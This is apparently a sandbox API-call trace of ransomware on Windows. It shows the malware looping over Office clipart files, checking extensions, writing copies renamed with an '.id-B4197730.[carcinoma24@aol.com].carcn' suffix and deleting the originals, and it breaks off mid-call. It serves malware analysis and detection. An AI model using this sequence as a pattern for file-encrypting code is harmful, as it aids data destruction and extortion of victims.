[0306.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.801] lstrlenW (lpString=".bz2") returned 4 [0306.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.801] lstrlenW (lpString=".7z") returned 3 [0306.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0306.801] lstrlenW (lpString=".dbf") returned 4 [0306.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0306.801] lstrlenW (lpString=".1cd") returned 4 [0306.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0306.801] lstrlenW (lpString=".jpg") returned 4 [0306.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.802] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.802] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0306.803] GetLastError () returned 0x0 [0306.803] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x7e4, lpOverlapped=0x0) returned 1 [0306.896] WriteFile (in: hFile=0x348, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0306.897] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.897] WriteFile (in: hFile=0x348, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.897] SetEndOfFile (hFile=0x348) returned 1 [0306.897] CloseHandle (hObject=0x348) returned 1 [0306.897] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.897] SetEndOfFile (hFile=0x334) returned 1 [0306.898] CloseHandle (hObject=0x334) returned 1 [0306.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0306.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0306.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0306.899] lstrlenW (lpString=".doc") returned 4 [0306.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.899] lstrlenW (lpString=".docx") returned 5 [0306.900] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0306.900] lstrlenW (lpString=".pdf") returned 4 [0306.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.900] lstrlenW (lpString=".xls") returned 4 [0306.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.900] lstrlenW (lpString=".xlsx") returned 5 [0306.900] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0306.900] lstrlenW (lpString=".ppt") returned 4 [0306.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0306.900] lstrlenW (lpString=".zip") returned 4 [0306.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.900] lstrlenW (lpString=".rar") returned 4 [0306.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.900] lstrlenW (lpString=".bz2") returned 4 [0306.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.900] lstrlenW (lpString=".7z") returned 3 [0306.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0306.900] lstrlenW (lpString=".dbf") returned 4 [0306.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0306.900] lstrlenW (lpString=".1cd") returned 4 [0306.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0306.901] lstrlenW (lpString=".jpg") returned 4 [0306.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.901] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.901] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0306.902] GetLastError () returned 0x0 [0306.902] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x229c, lpOverlapped=0x0) returned 1 [0306.945] WriteFile (in: hFile=0x348, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x22a0, lpOverlapped=0x0) returned 1 [0306.946] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.946] WriteFile (in: hFile=0x348, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.947] SetEndOfFile (hFile=0x348) returned 1 [0306.953] CloseHandle (hObject=0x348) returned 1 [0306.957] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.958] SetEndOfFile (hFile=0x334) returned 1 [0306.974] CloseHandle (hObject=0x334) returned 1 [0306.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0306.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0306.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0306.975] lstrlenW (lpString=".doc") returned 4 [0306.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.975] lstrlenW (lpString=".docx") returned 5 [0306.975] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0306.975] lstrlenW (lpString=".pdf") returned 4 [0306.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.975] lstrlenW (lpString=".xls") returned 4 [0306.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.975] lstrlenW (lpString=".xlsx") returned 5 [0306.975] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0306.975] lstrlenW (lpString=".ppt") returned 4 [0306.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0306.975] lstrlenW (lpString=".zip") returned 4 [0306.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.975] lstrlenW (lpString=".rar") returned 4 [0306.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.975] lstrlenW (lpString=".bz2") returned 4 [0306.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.976] lstrlenW (lpString=".7z") returned 3 [0306.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0306.976] lstrlenW (lpString=".dbf") returned 4 [0306.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0306.976] lstrlenW (lpString=".1cd") returned 4 [0306.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0306.976] lstrlenW (lpString=".jpg") returned 4 [0306.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.976] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.976] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0306.977] GetLastError () returned 0x0 [0306.977] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1350, lpOverlapped=0x0) returned 1 [0307.046] WriteFile (in: hFile=0x338, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1360, lpOverlapped=0x0) returned 1 [0307.047] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.047] WriteFile (in: hFile=0x338, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.047] SetEndOfFile (hFile=0x338) returned 1 [0307.050] CloseHandle (hObject=0x338) returned 1 [0307.050] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.050] SetEndOfFile (hFile=0x334) returned 1 [0307.054] CloseHandle (hObject=0x334) returned 1 [0307.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0307.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0307.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0307.055] lstrlenW (lpString=".doc") returned 4 [0307.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.055] lstrlenW (lpString=".docx") returned 5 [0307.055] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0307.055] lstrlenW (lpString=".pdf") returned 4 [0307.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.055] lstrlenW (lpString=".xls") returned 4 [0307.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.055] lstrlenW (lpString=".xlsx") returned 5 [0307.055] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0307.055] lstrlenW (lpString=".ppt") returned 4 [0307.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0307.055] lstrlenW (lpString=".zip") returned 4 [0307.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.055] lstrlenW (lpString=".rar") returned 4 [0307.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.055] lstrlenW (lpString=".bz2") returned 4 [0307.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.055] lstrlenW (lpString=".7z") returned 3 [0307.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0307.055] lstrlenW (lpString=".dbf") returned 4 [0307.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0307.056] lstrlenW (lpString=".1cd") returned 4 [0307.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0307.056] lstrlenW (lpString=".jpg") returned 4 [0307.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.056] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.057] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.057] GetLastError () returned 0x0 [0307.057] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x4928, lpOverlapped=0x0) returned 1 [0307.073] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x4930, lpOverlapped=0x0) returned 1 [0307.075] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.075] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.075] SetEndOfFile (hFile=0x398) returned 1 [0307.075] CloseHandle (hObject=0x398) returned 1 [0307.075] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.075] SetEndOfFile (hFile=0x334) returned 1 [0307.076] CloseHandle (hObject=0x334) returned 1 [0307.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0307.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0307.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0307.077] lstrlenW (lpString=".doc") returned 4 [0307.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.077] lstrlenW (lpString=".docx") returned 5 [0307.077] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0307.077] lstrlenW (lpString=".pdf") returned 4 [0307.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.078] lstrlenW (lpString=".xls") returned 4 [0307.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.078] lstrlenW (lpString=".xlsx") returned 5 [0307.078] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0307.078] lstrlenW (lpString=".ppt") returned 4 [0307.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0307.078] lstrlenW (lpString=".zip") returned 4 [0307.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.078] lstrlenW (lpString=".rar") returned 4 [0307.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.078] lstrlenW (lpString=".bz2") returned 4 [0307.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.078] lstrlenW (lpString=".7z") returned 3 [0307.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0307.078] lstrlenW (lpString=".dbf") returned 4 [0307.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0307.078] lstrlenW (lpString=".1cd") returned 4 [0307.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0307.078] lstrlenW (lpString=".jpg") returned 4 [0307.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.079] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.079] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.080] GetLastError () returned 0x0 [0307.080] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1424, lpOverlapped=0x0) returned 1 [0307.109] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1430, lpOverlapped=0x0) returned 1 [0307.110] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.110] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.110] SetEndOfFile (hFile=0x398) returned 1 [0307.110] CloseHandle (hObject=0x398) returned 1 [0307.110] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.110] SetEndOfFile (hFile=0x334) returned 1 [0307.111] CloseHandle (hObject=0x334) returned 1 [0307.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0307.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0307.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0307.112] lstrlenW (lpString=".doc") returned 4 [0307.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.112] lstrlenW (lpString=".docx") returned 5 [0307.112] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0307.112] lstrlenW (lpString=".pdf") returned 4 [0307.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.112] lstrlenW (lpString=".xls") returned 4 [0307.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.113] lstrlenW (lpString=".xlsx") returned 5 [0307.113] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0307.113] lstrlenW (lpString=".ppt") returned 4 [0307.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0307.113] lstrlenW (lpString=".zip") returned 4 [0307.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.113] lstrlenW (lpString=".rar") returned 4 [0307.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.113] lstrlenW (lpString=".bz2") returned 4 [0307.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.113] lstrlenW (lpString=".7z") returned 3 [0307.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0307.113] lstrlenW (lpString=".dbf") returned 4 [0307.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0307.113] lstrlenW (lpString=".1cd") returned 4 [0307.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0307.113] lstrlenW (lpString=".jpg") returned 4 [0307.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.114] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.115] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.116] GetLastError () returned 0x0 [0307.116] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x7c44, lpOverlapped=0x0) returned 1 [0307.118] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x7c50, 